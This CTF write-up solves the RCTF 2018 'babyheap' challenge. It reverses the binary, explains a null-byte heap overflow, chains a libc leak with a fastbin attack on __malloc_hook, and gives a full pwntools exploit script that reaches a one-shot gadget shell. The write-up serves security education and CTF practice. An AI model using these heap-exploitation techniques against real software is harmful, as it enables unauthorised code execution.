RCTF 2018 PWN 317

4 minute read

Challenge: babyheap libc

Reversing

$ file ./babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=220fd4e3e91c4ef2413cc0a4c222a0548602662e, stripped
$ checksec ./babyheap
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

So its a 64 bit binary and with lot of protections ;D
Challenge binary provides four options
Alloc - Allows us to allocate maximum size of 0x100 heap chunks and write content in them
Show - Shows content of the heap chunk, provided the index
Delete - Frees heap chunk, provided the index
Exit - Terminates the process
If we quickly go through the binary in IDA

__int64 __fastcall sub_BC8(__int64 a1, unsigned int a2)
{
  char buf; // [sp+13h] [bp-Dh]@2
  unsigned int i; // [sp+14h] [bp-Ch]@1
  __int64 v5; // [sp+18h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  for ( i = 0; i < a2; ++i )
  {
    buf = 0;
    if ( read(0, &buf, 1uLL) < 0 )
      sub_B90("read() error");
    *(_BYTE *)(a1 + i) = buf;
    if ( buf == 10 )
      break;
  }
  *(_BYTE *)(i + a1) = 0;
  return *MK_FP(__FS__, 40LL) ^ v5;
}

We can clearly spot null byte heap overflow in above function.

Exploitation

Basic Steps

  • Exploit null byte heap overflow by Shrinking Free Chunks technique to leak libc base
  • Overwrite __malloc_hook by using Fastbin Attack to get code execution

Now where we go with this? There is a nice paper about Shrinking Free Chunks attack here. This technique basically works by clearing prev_in_use bit of the next chunk and crafting prev_size so that when freeing next chunk, next chunk will be consolidated with a faked larger chunk creating overlapping on the forgotten heap chunk. For this technique to work, heap chunks of size larger than 0xff is needed.

Below is the pictorial represention of what we will do
(smallbin - sb, fastbin - fb)

Heap Allocations —>

sb1 (to overlap fb1 by merging with sb2) | fb1 (to be overlapped) | sb2 (to be null byte overflowed) | fb2 (to prevent consolidation with top chunk)

First allocate all four chunks

(0,0x101)("S"* 0xf0)|(0,0x81)("F"* 0x70)|(0,0x101)("S"* 0xf0)|(0,0x41)("F"* 0x30)

Free first two

(0,0x101)(addr,addr)("S"* 0xe0)|(0x100,0x80)(0,"F"* 0x60)|(0,0x101)("S"* 0xf0)|(0,0x41)("F"* 0x30)

Here we reallocate fb1 to perform null byte overflow into sb2 and changing sb2’s prev_size to 0x180 and prev_in_use bit to 0.

(0,0x101)(addr,addr)("S"* 0xe0)|(0x100,0x80)("F"* 0x70)|(0x180,0x100)("S"* 0xf0)|(0,0x41)("F"* 0x30)

Now if we free sb2, it will assume (sb1 + fb1) as one chunk and will be consolidated with (sb1 + fb1). And fb1 will be forgotten.

(0,0x281)(addr,addr)("S"* 0xe0)|(0x100,0x80)("F"* 0x70)|(0x180,0x100)("S"* 0xf0)|(280,0x40)("F"* 0x30)

Now if we reallocate 0x100 byte sb1, 0x280 chunk will be broken into (0x100 + 0x180). 0x100 part will be used as sb1. 0x180 part will be free (having main_arena addresses) and overlapping our fb1.

(0,0x101)("S"* 0xf0)|(0,0x181)(addr,addr)("F"* 0x60)|(0x180,0x100)("S"* 0xf0)|(180,0x40)("F"* 0x30)

Now if we execute Show for fb1 which is being overlapped by newly formed (0x180) free chunk, it will leak the address of main_arena. From this address we can determine libc base address.

Now we need to find a way to get code execution. We can do it by fastbin attack. To understand fastbin attack how2heap by shellphish, I find very useful.

Basically the attack works by forcing malloc to return a pointer twice. First time when malloc returns the pointer we can write 8 byte address in it, of a fake chunk somewhere in memory. Now when the second time you return same pointer again the address of fake chunk gets added in fastbin free list. Then you can request the fake chunk using malloc and write to it.

Here we will be targeting __malloc_hook, we will create a fake chunk at (__malloc_hook - 0x23) and make that address returned by malloc so that we can overwrite __malloc_hook by oneshot gadget.

We create fake chunk at (__malloc_hook - 0x23) because we need this fake chunk to have size metadata that is in fastbin limit. In our case it will be 0x7f.

To do this, first we free sb1 again to get 0x280 chunk.

 (0,0x281)(addr,addr)("S"* 0xe0)|(0,0x181)(addr,addr)("F"* 0x60)|(0x180,0x100)("S"* 0xf0)|(280,0x40)("F"* 0x30)

Now we will have (sb1 + fb1 + sb2) consolidated. Now what we want is to get pointer to overlapped chunk in one more index so that we can free it twice. To get that we can split 0x280 chunk in (0x20 + 0x70 + 0x70 + 0x70 + 110). Here third 0x70 will have the same pointer as the overlapped chunk (fb1). Rest is the typical fastbin attack.

Here is the exploit code with comments or below :D

from pwn import *
def alloc(size, payload):
        r.sendlineafter('choice: ','1')
        r.sendlineafter('please input chunk size: ',str(size))
        r.sendafter('input chunk content: ',payload)
def show(index):
        r.sendlineafter('choice: ','2')
        r.sendlineafter('please input chunk index: ',str(index))
def delete(index):
        r.sendlineafter('choice: ','3')
        r.sendlineafter('please input chunk index: ',str(index))
r = process('./babyheap', env={"LD_PRELOAD":"./libc.so.6"})
#r = remote('babyheap.2018.teamroir.cn',3154)
libc = ELF('./libc.so.6')
alloc(0xf0,'A' * 0xf0)#sb1
alloc(0x70,'A' * 0x70)#fb1
alloc(0xf0,'A' * 0xf0)#sb2
alloc(0x30,'A' * 0x30)#fb2 #3
delete(0)
delete(1)
# null byte heap overflow
# prev_size = 0x180
# prev_in_use = 0
alloc(0x78,'B' * 0x70 + p64(0x180))#0
# first fastbin gets overlapped
delete(2)
alloc(0xf0,'A' * 0xf0)
# libc leak
show(0)
r.recvuntil('content: ')
libc_base = u64(r.recv(6) + "\x00" * 2) - libc.symbols['__malloc_hook'] - 0x68
log.info("libc : " + hex(libc_base))
# fastbin Attack
# get the 0x280 byte chunk
delete(1)
# allocate 0x20 byte chunk to fill buffer
alloc(0x10, 'A' * 0x10)#1
alloc(0x60, 'B' * 0x60)#2
alloc(0x60, 'C' * 0x60)#4
# below chunk will be placed on same address as overlapped chunk
alloc(0x60, 'D' * 0x60)#5
# free overlapped chunk address twice
delete(5)
delete(4)
delete(0)
fake_chunk = libc_base + libc.symbols['__malloc_hook'] - 0x23
oneshot = libc_base + 0x4526a
alloc(0x60, p64(fake_chunk) + p64(0) + "H"*0x50)
alloc(0x60,'A' * 0x60)
alloc(0x60,'A' * 0x60) # fake __malloc_hook chunk gets added in free list
# overwrite __malloc_hook with oneshot
alloc(0x60,'A' * 0x13 + p64(oneshot) + "\n")
# trigger oneshot
r.sendlineafter("choice: ", "1")
r.sendlineafter(": ", "1")
r.interactive()